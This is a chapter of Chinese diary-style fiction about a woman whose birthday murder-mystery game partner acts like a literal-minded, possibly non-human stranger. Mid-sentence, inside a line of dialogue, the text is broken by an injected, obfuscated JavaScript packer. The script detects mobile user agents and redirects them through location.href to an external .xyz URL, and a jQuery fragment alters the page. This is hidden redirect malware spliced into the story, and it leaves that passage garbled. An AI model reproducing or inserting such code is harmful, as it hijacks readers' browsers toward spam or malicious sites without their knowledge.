梁上燕6月21日天晴
朋友安排了一场剧本杀活动，来庆祝我的生日。我对此类活动并不十分感兴趣，但拒绝的话在嘴边转了一圈又咽了下去，张口就是询问了时间地点。
周六下午两点。上午要去公司监工维修工人不知道多久。我那个高度近视眼的总经理不知开了什么挂，能把高尔夫球精准地卡进他办公室天花板上像蚊帐罩着蚊帐一样复杂的水晶吊灯里。能当总经理果然是有些水平的。本来还想着下午若是能回家躺床上，那该多是一件美事。
但我已经有些时日没有同朋友们一起活动了，怕拂了别人的好意也怕不够精心维护友谊，最终我还是没有说不。
天气热得离谱。
送走工人，出公司走了两步路我就觉得衬衫里面的吊带已经被汗水浸湿了一片。约定的地点离公司只有十几分钟的步行路程，我却仍然想打个车吹上一吹车上的空调。
为了省下十块钱的起步价，终究也还是没有打车。我捧着发烫的手机一边走一边复习他们给我发来的剧本。昨天晚上我已经熟悉过一遍了，甚至还做了三页纸的笔记。
搁学生时代，我这是老师们赞不绝口的预习习惯，但是时代变了，我是个已经参加工作了的牛马了，我会被同伴们指着鼻子谴责我内卷。连我自己都恨不得抽自己两个耳刮子，我做笔记有什么用，上了场还不是得等他们哗啦啦地翻书再发言，不如一起摆烂。
G城的发展之快永远都在我的想象之外，我大学的时候，还很不屑于剧本杀这种奇怪的交友游戏。不就是一群认识的、不认识的人坐在一个狭小的空间里一起吃零食侃大山。工作了几年，这游戏已经进步了，当然也有可能是我退步了，跟不上更年轻的步伐了。
现在的剧本杀已经豪迈地把场地搬到了整个城市。商家们会在城市的各个地点给你安排上相应剧本的线索，玩家们或组队或分头去收集后再汇合推理，一本玩下来，能耗你两三个周末。这波拉动城市各处的经济消费可是立了大功，我没有特地去关注，但各路媒体都宣扬过，很难不知道。
正好朋友邀约，我高低得尝尝咸淡。我不拒绝他们，其实还有这层原因，尽管将花费我好几个窝在家里的周末这一点让我倍感痛惜。
我可以简单讲一讲我拿到的角色。
就是一个随性又奔放的女画家——这跟我可太不像了。我现在习惯做计划，一想到计划里的任务在deadline之前还有很远的路才能完成，我就焦虑得抓狂。又绕远了，回到我的角色上来。女画家，对，我剧本里的名字就叫“画画”，我还有个搭档，我的助手，他叫小手，也挺敷衍的，我正是在去跟他碰头的路上。我们将结伴去找线索。
我到达城中步行街的时候，那小子还没到。真是不出所料，我永远在等待，即使我只是准时到。
一边烤太阳一边等人，就会把我心头的怒火点燃，待会儿我要看看是哪个迟到的朋友，我指定要数落他一顿。
就在我几近中暑的前几秒，一辆奇怪的水蓝色甲壳车突然出现，停在我面前，驾驶员上下打量着我。我气愤的拉开车门坐到了副驾驶上，我说：“你迟到了，小手。”车里怎么还打着暖空调，小手体寒？
小手伸出了他的右手：“手？”
我于是不客气地用我脱下来的背包往上呼了一记，以消心头不快。
“我可以调空调温度吗？你冷吗？”
“有点热。”他说着主动改成了冷空调。
他仍旧打量着我，连同车外的街景一起。
我见他半天不出发，就问他：“走吧，看啥呢？”他不说话，搞得我正襟危坐起来，“你是小手吧？我认错了？你是一起拼车的玩家吗？”
他看起来搞不清楚状况，问了一句：“这里是哪里？”
我翻开手机，他好像瞥了一眼我的屏保，嘴里念了一遍今天的日期。我把手机地图举到他面前：“中南步行街。”
“我们要去哪儿？”他又问。
“你是不是没有提前读剧本？”我尽量不让自己显得在发难，扯了个假笑问他。
“没有。”人还挺老实，也没有油腔滑调地找那些我不爱听的借口。
我敲敲他的手臂：“本子呢？你先花十分钟快速地捋一遍吧。”
“嗯？本子？也没有。”
这个世界上总有人上厕所不带纸，出门讨饭不带碗，于他们而言，字典里的责任两个字时有时无。
我去跟组织活动的朋友程可说明了一下情况，要了一份小手的本子传到平板上，递给不靠谱大王小手本人看。
“只给你十分钟哦！”
“好的。”他回答爽快。
从他那一目十行的阅读速度，我差点以为他在敷衍这十分钟。但十分钟之后，他主动开口了，准确地报出了剧本里五个埋了线索的地点，然后问我：“我们要先去哪一个？”
“先去郊区那个吧，太远了，后面省得跑了。”
“行。”
他又问我能帮忙导航吗，说是不认识路。我把手机架到他旁边，忍住、忍住，我是一个有修养的寿星。
小手发动了车，车里的空气也终于凉快了起来。我没了手机，只能抠手看风景，他也不说话，气氛很尴尬。
我想了想有什么话题能聊，憋了半天也只能问他：“你三次元做什么工作的？”又觉得问陌生人这个问题太冒昧了，忙补充道，“哈哈，我随便问问的，你不用回答。”
“我做智能技术的。”小手他也像一个智能机器人，接收指令了就跑代码，我都说不用回答了。
“啊，哈哈，我做后勤的。”其实我是做财务的，但是这个不上路子的公司，财务是我，行政是我，人事的事我也做点，这能是人干的事？
“我能问几个问题吗？”机器人发话了，我宣布，小手是破冰高手！
“什么？”
“世界最高峰是？”
“珠穆朗玛峰。”
“我们在的时区是？”
“东八区。”
“奇变偶不变？”
“……符号看象限。”这多奇怪啊，我不禁反问，“这是什么暗号？剧本里的？”
“不是，我对一下世界观。”小手一本正经地说，以至于我分不清他是不是在开玩笑。
我问他：“人生观和价值观要对一下吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458182|185387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
他居然认真思考了一下说也可以。我顿时怀疑他不会是拼车来这个剧本杀撩妹的吧，幸好我是铁板一块，我还会在他撩别的女孩子的时候当个搅屎棍。
我赶忙说：“别对了别对了，我们来对对剧本吧。”
“你理清你是个什么角色了吗？”我问。
“理清了。”
“你说说呢？”
“是个脑子没长好的跟屁虫。”
“你说话可真难听！别这么说小手，”我又修改了下措辞，“别这么说你自己。”
“我脑子好。”
“但你现在就是小手，你就得脑子长不好。”
“你也认同小手脑子没长好。”
“剧本需求嘛，你忍一下。”我居然还要帮他代入角色。并且，他好像一个自大狂，要来玩这个剧本杀，又要嫌弃自己领到的角色太降智。我对这个小手不是很满意，从他出现的那一刻起，他就没有表现出一个玩家该有的基本素养。
“你倒是和画画挺像的。”他说话的时候眼睛都不朝我转一下。
但我不想和他掰扯了，就傻笑两声：“是吗，哈哈。你看人挺准。”
车里又飘起了令人安详的沉默空气，只有我那癫狂的语音包在带动气氛：“前方！有！闯红灯！拍照！限速！四十！你超速了！减速减速减速！”
我躺到靠背上，心里琢磨着怎么把这个机器人小手想象成剧本里那个狗系小助手。我摇下一小半的车窗，热浪从半开的空隙里争先恐后地涌进来，我又赶紧把车窗摇上去了。然后我又开始盯着车里那个永动撞击球摆件，怎么会有人在车上放这个，颠簸的路况让五个小球齐刷刷地左右摇晃。我高高拎起最右边那个再松手，左边四个摇摆着分离出两个翘起来又荡回去，整个摆件无序地扭起来。
“非惯性系效应和碰撞时机错位，是不是也很有意思？”
我的知识储备并不能支撑我听懂小手在说什么，但我不能露怯，这是职场法则，不会也得会：“有意思的。”
幸好这个小手没有好为人师的毛病，没有继续展开关于物理学的深入探究，否则我可能要跳车，我与数理化是不共戴天的关系，我这辈子不可能走遍天下。
“我们要到了。”小手在我睡着之前扼杀了我的困意。
我甚至不想下车，外面太热了，这还是个草莓园农家乐，不知道线索到底是埋在室内还是室外。
我还是迅速下了车。我是遵守游戏规则的人，不管哪里的规则我都遵守。
我下得很快，但小手磨磨唧唧的。我站在路边，这才注意到，他穿着的西装里面还穿了一件毛线的黑白格子马甲。他在车里把西装外套和马甲都脱了，又解开衬衫领口的两个扣子，袖扣也解开挽上去。然后丝毫不慌忙地把外套和马甲叠好，撅起屁股放到后座位上。我真想拉开车门，给他的翘臀踹上一脚，果然性感的事物总是让人产生蹂躏感。
等他钻出车，人高马大地站在我旁边，不知道从哪里又掏出一把黑色的折叠伞，撑开把我一并罩进去：“走吧。”
我心里乐开了花，这下我总算找到了能把他跟剧本里的小手划等号的点了。